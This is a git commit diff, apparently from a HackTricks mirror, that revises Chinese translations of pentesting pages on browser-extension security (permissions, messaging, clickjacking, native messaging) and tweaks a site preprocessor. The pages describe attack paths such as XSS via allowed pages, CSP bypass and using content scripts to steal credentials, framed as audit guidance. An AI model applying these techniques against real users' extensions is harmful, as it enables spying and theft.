mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
parent
c2003a2e2f
commit
67e870b078
4
.github/pull_request_template.md
vendored
4
.github/pull_request_template.md
vendored
@ -1,4 +1,4 @@
|
||||
## 归属
|
||||
我们重视您的知识,并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容(在您添加的文本中或您正在修改的页面末尾添加对作者的引用,或两者都添加)。 您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。
|
||||
我们重视您的知识,并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容(在添加的文本中或您正在修改的页面末尾添加对作者的引用,或两者都添加)。 您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。
|
||||
|
||||
感谢您为 HackTricks 的贡献!
|
||||
感谢您为 HackTricks 做出的贡献!
|
||||
|
||||
@ -22,6 +22,7 @@ after = ["links"]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
|
||||
@ -30,14 +30,16 @@ def ref(matchobj):
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
# pass
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
else:
|
||||
try:
|
||||
if href.endswith("/"):
|
||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
|
||||
@ -91,22 +91,22 @@ document.body.appendChild(div)
|
||||
```
|
||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
当点击此按钮时,通过使用 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage),内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制,`storage`是少数例外之一。对于超出这些例外的功能,消息被发送到扩展页面,内容脚本可以与之通信。
|
||||
当点击此按钮时,通过利用[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage),内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制,`storage`是少数例外之一。对于超出这些例外的功能,消息被发送到扩展页面,内容脚本可以与之通信。
|
||||
|
||||
> [!WARNING]
|
||||
> 根据浏览器的不同,内容脚本的能力可能会略有不同。对于基于Chromium的浏览器,能力列表可在 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) 中找到,而对于Firefox,[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) 是主要来源。\
|
||||
> 根据浏览器的不同,内容脚本的能力可能会略有不同。对于基于Chromium的浏览器,能力列表可在[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)中找到,而对于Firefox,[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)是主要来源。\
|
||||
> 还值得注意的是,内容脚本能够与后台脚本进行通信,使其能够执行操作并传递响应。
|
||||
|
||||
要在Chrome中查看和调试内容脚本,可以通过选项 > 更多工具 > 开发者工具访问Chrome开发者工具菜单,或按Ctrl + Shift + I。
|
||||
|
||||
当开发者工具显示后,点击**源**选项卡,然后点击**内容脚本**选项卡。这允许观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。
|
||||
当开发者工具显示后,点击**源标签**,然后点击**内容脚本**标签。这允许观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。
|
||||
|
||||
### 注入的内容脚本
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,**内容脚本不是强制性的**,因为也可以通过**`tabs.executeScript`** **动态** **注入**脚本并在网页中**以编程方式注入**。这实际上提供了更**细粒度的控制**。
|
||||
> 请注意,**内容脚本不是强制性的**,因为也可以**动态** **注入**脚本,并通过**`tabs.executeScript`**在网页中**程序化地注入**它们。这实际上提供了更**细粒度的控制**。
|
||||
|
||||
要以编程方式注入内容脚本,扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。
|
||||
要程序化地注入内容脚本,扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。
|
||||
|
||||
#### 示例基于activeTab的扩展
|
||||
```json:manifest.json
|
||||
@ -138,7 +138,7 @@ files: ["content-script.js"],
|
||||
})
|
||||
})
|
||||
```
|
||||
- **在点击时注入一个函数**:
|
||||
- **点击时注入一个函数**:
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
@ -252,9 +252,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
|
||||
**`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目,指示 **浏览器扩展具有哪些权限**(存储、位置等)以及 **在哪些网页上**。
|
||||
|
||||
由于浏览器扩展可能具有 **特权**,恶意扩展或被攻击的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
|
||||
由于浏览器扩展可能具有如此 **特权**,恶意扩展或被攻陷的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
|
||||
|
||||
检查这些设置如何工作以及它们如何被滥用:
|
||||
检查这些设置如何工作以及它们如何可能被滥用:
|
||||
|
||||
{{#ref}}
|
||||
browext-permissions-and-host_permissions.md
|
||||
@ -305,7 +305,7 @@ chrome-extension://<extension-id>/message.html
|
||||
不过,如果使用了 `manifest.json` 参数 **`use_dynamic_url`**,则该 **id 可能是动态的**。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,即使此处提到某个页面,它也可能由于 **Content Security Policy** 而 **受到 ClickJacking 保护**。因此,在确认 ClickJacking 攻击是否可能之前,您还需要检查它(frame-ancestors 部分)。
|
||||
> 请注意,即使此处提到某个页面,它也可能由于 **内容安全策略** 而 **受到 ClickJacking 保护**。因此,在确认 ClickJacking 攻击是否可能之前,您还需要检查它(frame-ancestors 部分)。
|
||||
|
||||
允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**:
|
||||
|
||||
@ -319,15 +319,15 @@ browext-clickjacking.md
|
||||
> [!CAUTION]
|
||||
> 请注意,**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此,如果这些页面中的一个容易受到 **XSS** 攻击,可能会导致更大的漏洞。
|
||||
>
|
||||
> 此外,请注意,您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面,但从新标签页可以访问扩展中的任何页面,只需知道扩展 ID。因此,如果发现 XSS 利用相同参数,即使页面未在 **`web_accessible_resources`** 中配置,也可能被利用。
|
||||
> 此外,请注意,您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面,但从新标签页可以访问扩展中的任何页面,只需知道扩展 ID。因此,如果发现 XSS 利用相同的参数,即使页面未在 **`web_accessible_resources`** 中配置,也可能被利用。
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable),`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。
|
||||
|
||||
- 如果在扩展的清单中 **未** 声明 **`externally_connectable`** 键,或者声明为 **`"ids": ["*"]`**,则 **所有扩展都可以连接,但没有网页可以连接**。
|
||||
- 如果指定了 **特定 ID**,如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`,则 **只有这些应用程序** 可以连接。
|
||||
- 如果指定了 **matches**,则这些网页应用程序将能够连接:
|
||||
- 如果在扩展的清单中 **未声明 `externally_connectable`** 键,或者声明为 **`"ids": ["*"]`**,**所有扩展都可以连接,但没有网页可以连接**。
|
||||
- 如果 **指定了特定 ID**,如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`,**只有这些应用程序** 可以连接。
|
||||
- 如果 **指定了匹配项**,这些网络应用程序将能够连接:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
@ -335,24 +335,24 @@ browext-clickjacking.md
|
||||
```
|
||||
- 如果指定为空:**`"externally_connectable": {}`**,则没有应用程序或网页能够连接。
|
||||
|
||||
这里指示的**扩展和 URL**越少,**攻击面**就会越小。
|
||||
这里指示的**扩展和URL越少**,**攻击面就越小**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果网页在**`externally_connectable`**中被指示为**易受 XSS 或接管攻击**,攻击者将能够**直接向后台脚本发送消息**,完全绕过内容脚本及其 CSP。
|
||||
> 如果在**`externally_connectable`**中指示了**易受XSS或接管攻击的网页**,攻击者将能够**直接向后台脚本发送消息**,完全绕过内容脚本及其CSP。
|
||||
>
|
||||
> 因此,这是一个**非常强大的绕过**。
|
||||
>
|
||||
> 此外,如果客户端安装了一个恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可能在一个允许的网页中注入**XSS 数据**,或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API 来操纵目标域上的请求,改变页面对**JavaScript 文件**的请求。(请注意,目标页面上的 CSP 可能会阻止这些攻击)。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
|
||||
> 此外,如果客户端安装了一个恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可能在一个允许的网页中注入**XSS数据**,或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求,改变页面对**JavaScript文件**的请求。(请注意,目标页面上的CSP可能会阻止这些攻击)。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
|
||||
|
||||
## 通信总结
|
||||
|
||||
### 扩展 <--> WebApp
|
||||
|
||||
在内容脚本和网页之间,通常使用后续消息进行通信。因此,在网页应用程序中,您通常会找到对函数**`window.postMessage`**的调用,而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而,请注意,扩展也可以**通过发送 Post Message 与网页应用程序通信**(因此网页应该预期此情况),或者仅使网页加载一个新脚本。
|
||||
在内容脚本和网页之间,通常使用后续消息进行通信。因此,在网页应用程序中,您通常会找到对**`window.postMessage`**函数的调用,而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而,请注意,扩展也可以**通过发送Post Message与网页应用程序通信**(因此网页应该预期此情况),或者只是让网页加载一个新脚本。
|
||||
|
||||
### 在扩展内部
|
||||
|
||||
通常使用函数**`chrome.runtime.sendMessage`**在扩展内部发送消息(通常由`background`脚本处理),为了接收和处理它,声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。
|
||||
通常使用**`chrome.runtime.sendMessage`**在扩展内部发送消息(通常由`background`脚本处理),为了接收和处理它,声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。
|
||||
|
||||
也可以使用**`chrome.runtime.connect()`**来建立持久连接,而不是发送单个消息,可以用它来**发送**和**接收****消息**,如下例所示:
|
||||
|
||||
@ -393,7 +393,7 @@ console.log("Content script received message from background script:", msg)
|
||||
|
||||
### 从允许的 `externally_connectable` 到扩展
|
||||
|
||||
**在 `externally_connectable` 配置中允许的 Web 应用和外部浏览器扩展** 可以使用以下方式发送请求:
|
||||
**在 `externally_connectable` 配置中允许的** Web 应用和外部浏览器扩展可以使用以下方式发送请求:
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
@ -452,13 +452,13 @@ false
|
||||
```
|
||||
安全的 Post Message 通信应检查接收到的消息的真实性,这可以通过以下方式进行检查:
|
||||
|
||||
- **`event.isTrusted`**:仅当事件是由用户操作触发时,此值为 True
|
||||
- 内容脚本可能仅在用户执行某些操作时才会期待消息
|
||||
- **origin domain**:可能仅允许白名单中的域名发送消息。
|
||||
- **`event.isTrusted`**:只有当事件是由用户操作触发时,这个值才为 True
|
||||
- 内容脚本可能只在用户执行某些操作时才期待接收到消息
|
||||
- **origin domain**:可能只允许白名单中的域名接收消息。
|
||||
- 如果使用正则表达式,请非常小心
|
||||
- **Source**:`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**,即内容脚本正在监听的窗口。
|
||||
|
||||
即使执行了上述检查,仍可能存在漏洞,因此请检查以下页面 **潜在的 Post Message 绕过**:
|
||||
即使执行了上述检查,仍然可能存在漏洞,因此请检查以下页面 **潜在的 Post Message 绕过**:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -482,7 +482,7 @@ browext-xss-example.md
|
||||
browext-xss-example.md
|
||||
{{#endref}}
|
||||
|
||||
## 内容脚本 **↔︎** 背景脚本通信
|
||||
## 内容脚本 **↔︎** 后台脚本通信
|
||||
|
||||
内容脚本可以使用 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送 **一次性 JSON 可序列化** 消息。
|
||||
|
||||
@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
从**扩展**(通常是**后台脚本**)发送请求。向选定标签页中的内容脚本发送消息的示例:
|
||||
从**扩展**(通常是**后台脚本**)发送请求。以下是如何向选定标签页中的内容脚本发送消息的示例:
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
;(async () => {
|
||||
@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
```
|
||||
在突出显示的示例中,**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以实现 `sendResponse()` 的异步执行,必须加入 `return true;`。
|
||||
|
||||
一个重要的考虑是,在多个页面设置为接收 `onMessage` 事件的情况下,**第一个执行 `sendResponse()` 的页面** 将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
|
||||
一个重要的考虑是,在多个页面设置为接收 `onMessage` 事件的情况下,**第一个执行 `sendResponse()`** 的页面将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
|
||||
|
||||
在创建新扩展时,应该优先使用 promises 而不是回调。关于回调的使用,只有在同步上下文中直接执行 `sendResponse()` 函数,或者事件处理程序通过返回 `true` 表示异步操作时,`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`,或者 `sendResponse()` 函数从内存中移除(被垃圾回收),则与 `sendMessage()` 函数关联的回调将默认被触发。
|
||||
|
||||
## Native Messaging
|
||||
|
||||
浏览器扩展还允许通过 **stdin 与系统中的二进制文件进行通信**。应用程序必须安装一个 json 来指示这一点,格式如下:
|
||||
浏览器扩展还允许通过 **stdin** 与系统中的 **二进制文件** 进行通信。应用程序必须安装一个 json 来指示这一点,格式如下:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -539,7 +539,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串,用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径,只有 1 种有效的 `type`,即 stdio(使用 stdin 和 stdout),`allowed_origins` 表示可以访问它的扩展(不能使用通配符)。
|
||||
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串,用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径,只有 1 种有效的 `type`,即 stdio(使用 stdin 和 stdout),而 `allowed_origins` 表示可以访问它的扩展(不能使用通配符)。
|
||||
|
||||
Chrome/Chromium 会在某些 Windows 注册表和 macOS 和 Linux 的某些路径中搜索此 json(更多信息请参见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging))。
|
||||
|
||||
@ -561,13 +561,13 @@ console.log("Received " + response)
|
||||
1. 浏览器扩展对内容脚本有一个通配符模式。
|
||||
2. 内容脚本使用`sendMessage`将`postMessage`消息传递给后台脚本。
|
||||
3. 后台脚本使用`sendNativeMessage`将消息传递给本机应用程序。
|
||||
4. 本机应用程序危险地处理消息,导致代码执行。
|
||||
4. 本机应用程序以危险的方式处理消息,导致代码执行。
|
||||
|
||||
其中解释了**如何从任何页面利用浏览器扩展进行RCE**的示例。
|
||||
其中解释了**如何从任何页面通过浏览器扩展实现RCE**的示例。
|
||||
|
||||
## 内存/代码/剪贴板中的敏感信息
|
||||
|
||||
如果浏览器扩展将**敏感信息存储在其内存中**,则可能会被**转储**(特别是在Windows机器上)并**搜索**这些信息。
|
||||
如果浏览器扩展在**内存中存储敏感信息**,则可能会被**转储**(特别是在Windows机器上)并**搜索**这些信息。
|
||||
|
||||
因此,浏览器扩展的内存**不应被视为安全**,而且**敏感信息**如凭据或助记短语**不应存储**。
|
||||
|
||||
@ -610,7 +610,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
### 查看本地安装扩展的源代码
|
||||
|
||||
本地安装的 Chrome 扩展也可以被检查。方法如下:
|
||||
本地安装的 Chrome 扩展也可以进行检查。方法如下:
|
||||
|
||||
1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。
|
||||
2. 在配置文件目录中导航到 `Extensions/` 子文件夹。
|
||||
@ -654,7 +654,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- [ ] 如果后台脚本通过**本机消息传递**进行通信,请检查通信是否安全且经过清理。
|
||||
- [ ] **敏感信息不应存储**在浏览器扩展**代码**中。
|
||||
- [ ] **敏感信息不应存储**在浏览器扩展**内存**中。
|
||||
- [ ] **敏感信息不应存储**在**文件系统中未受保护**。
|
||||
- [ ] **敏感信息不应存储**在**文件系统中未加保护**。
|
||||
|
||||
## 浏览器扩展风险
|
||||
|
||||
@ -664,7 +664,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
- 从提供的Chrome网上应用店链接提取任何Chrome扩展。
|
||||
- 从提供的Chrome网上应用店链接中提取任何Chrome扩展。
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**:简单地显示扩展清单的JSON美化版本。
|
||||
- **指纹分析**:检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成Chrome扩展指纹JavaScript。
|
||||
- **潜在Clickjacking分析**:检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能易受Clickjacking攻击,具体取决于页面的目的。
|
||||
@ -672,24 +672,24 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- **危险函数**:显示可能被攻击者利用的危险函数的位置(例如,innerHTML、chrome.tabs.executeScript等函数)。
|
||||
- **入口点**:显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。
|
||||
- 危险函数和入口点扫描器生成的警报具有以下内容:
|
||||
- 相关代码片段和导致警报的行。
|
||||
- 问题描述。
|
||||
- “查看文件”按钮以查看包含代码的完整源文件。
|
||||
- 警报文件的路径。
|
||||
- 警报文件的完整Chrome扩展URI。
|
||||
- 文件类型,例如后台页面脚本、内容脚本、浏览器操作等。
|
||||
- 如果易受攻击的行在JavaScript文件中,所有包含该行的页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
|
||||
- **内容安全策略(CSP)分析器和绕过检查器**:这将指出扩展CSP中的弱点,并揭示由于白名单CDN等原因绕过CSP的潜在方法。
|
||||
- 相关代码片段和导致警报的行。
|
||||
- 问题描述。
|
||||
- “查看文件”按钮以查看包含代码的完整源文件。
|
||||
- 警报文件的路径。
|
||||
- 警报文件的完整Chrome扩展URI。
|
||||
- 文件类型,例如后台页面脚本、内容脚本、浏览器操作等。
|
||||
- 如果易受攻击的行在JavaScript文件中,则包括它的所有页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
|
||||
- **内容安全策略(CSP)分析器和绕过检查器**:这将指出扩展CSP中的弱点,并将揭示由于白名单CDN等原因绕过CSP的潜在方法。
|
||||
- **已知漏洞库**:使用[Retire.js](https://retirejs.github.io/retire.js/)检查是否使用了已知漏洞的JavaScript库。
|
||||
- 下载扩展和格式化版本。
|
||||
- 下载原始扩展。
|
||||
- 下载美化版本的扩展(自动美化的HTML和JavaScript)。
|
||||
- 扫描结果的自动缓存,第一次运行扩展扫描将花费相当长的时间。然而,第二次运行时,假设扩展没有更新,将几乎是瞬时的,因为结果被缓存。
|
||||
- 可链接的报告URL,轻松将其他人链接到tarnish生成的扩展报告。
|
||||
- 扫描结果的自动缓存,第一次运行扩展扫描将花费相当长的时间。然而,第二次运行时,假设扩展没有更新,将几乎是瞬时的,因为结果已被缓存。
|
||||
- 可链接的报告URL,轻松将其他人链接到由Tarnish生成的扩展报告。
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Neto项目是一个Python 3包,旨在分析和揭示知名浏览器(如Firefox和Chrome)浏览器插件和扩展的隐藏功能。它自动解压打包文件,以从扩展的相关资源中提取这些功能,如`manifest.json`、本地化文件夹或JavaScript和HTML源文件。
|
||||
项目Neto是一个Python 3包,旨在分析和揭示知名浏览器(如Firefox和Chrome)浏览器插件和扩展的隐藏功能。它自动解压打包文件,以从扩展的相关资源中提取这些功能,如`manifest.json`、本地化文件夹或JavaScript和HTML源文件。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -75,11 +75,11 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||||
```
|
||||
## Metamask 示例
|
||||
|
||||
一个关于 Metamask 中 ClickJacking 的[**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下,Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**(例如不是 **`chrome:`**)来修复漏洞:
|
||||
一个关于 Metamask 中 ClickJacking 的[**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下,Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**(例如不是 **`chrome:`**)来修复该漏洞:
|
||||
|
||||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**另一个在 Metamask 扩展中修复的 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击以列入白名单**,因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常的内容,使受害者在未注意的情况下点击以列入白名单,然后再返回到将被列入白名单的钓鱼页面。
|
||||
**另一个在 Metamask 扩展中修复的 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击以列入白名单**,因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常内容,使受害者在未注意的情况下点击以列入白名单,然后再返回到将被列入白名单的钓鱼页面。
|
||||
|
||||
## Steam Inventory Helper 示例
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
权限在扩展的 **`manifest.json`** 文件中使用 **`permissions`** 属性定义,允许访问浏览器可以访问的几乎所有内容(Cookies 或物理存储):
|
||||
|
||||
前面的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [存储 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久地存储其数据。与给用户某种控制级别的 cookies 或 `localStorage` API 不同,**扩展存储通常只能通过卸载扩展来清除**。
|
||||
之前的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久地存储其数据。与给用户某种控制级别的 cookies 或 `localStorage` API 不同,**扩展存储通常只能通过卸载扩展来清除**。
|
||||
|
||||
扩展将请求其 **`manifest.json`** 文件中指示的权限。安装扩展后,您可以 **始终在浏览器中检查其权限**,如图所示:
|
||||
|
||||
@ -43,7 +43,7 @@
|
||||
|
||||
### 标签
|
||||
|
||||
此外,**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query),不仅可以获取 **用户的浏览器标签列表**,还可以了解哪个 **网页(即地址和标题)被加载**。
|
||||
此外,**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query),不仅可以获取 **用户的浏览器标签列表**,还可以了解 **加载了哪个网页(即地址和标题)**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 不仅如此,像 [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **这样的监听器也变得更加有用。** 每当新页面加载到标签中时,它们将收到通知。
|
||||
@ -52,10 +52,10 @@
|
||||
|
||||
内容脚本不一定是静态写入扩展清单中的。只要有足够的 **`host_permissions`**,**扩展也可以通过调用** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **或** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **动态加载它们。**
|
||||
|
||||
这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本,还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入,而后者期望一个 JavaScript 函数,这样更不容易受到注入漏洞的影响。不过,如果滥用这两个 API,都会造成严重后果。
|
||||
这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本,还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入,而后者期望一个 JavaScript 函数,这样更不容易受到注入漏洞的影响。不过,如果滥用,这两个 API 都会造成严重后果。
|
||||
|
||||
> [!CAUTION]
|
||||
> 除了上述功能外,内容脚本还可以例如 **拦截凭据**,当这些凭据被输入到网页时。滥用它们的另一种经典方式是 **在每个网站上注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后,它们可以 **操纵银行** 网站以重新路由资金转移。
|
||||
> 除了上述功能,内容脚本还可以例如 **拦截凭据**,因为这些凭据被输入到网页中。滥用它们的另一种经典方式是 **在每个网站上注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后,它们可以 **操纵银行** 网站以重新路由资金转移。
|
||||
|
||||
### 隐式权限 <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
@ -70,16 +70,16 @@
|
||||
|
||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) 与 `tabs.create()` 非常相似,但会 **修改现有标签**。因此,恶意扩展可以例如任意加载一个广告页面到您的一个标签中,并且它可以激活相应的标签。
|
||||
|
||||
### 网络摄像头、地理位置等 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
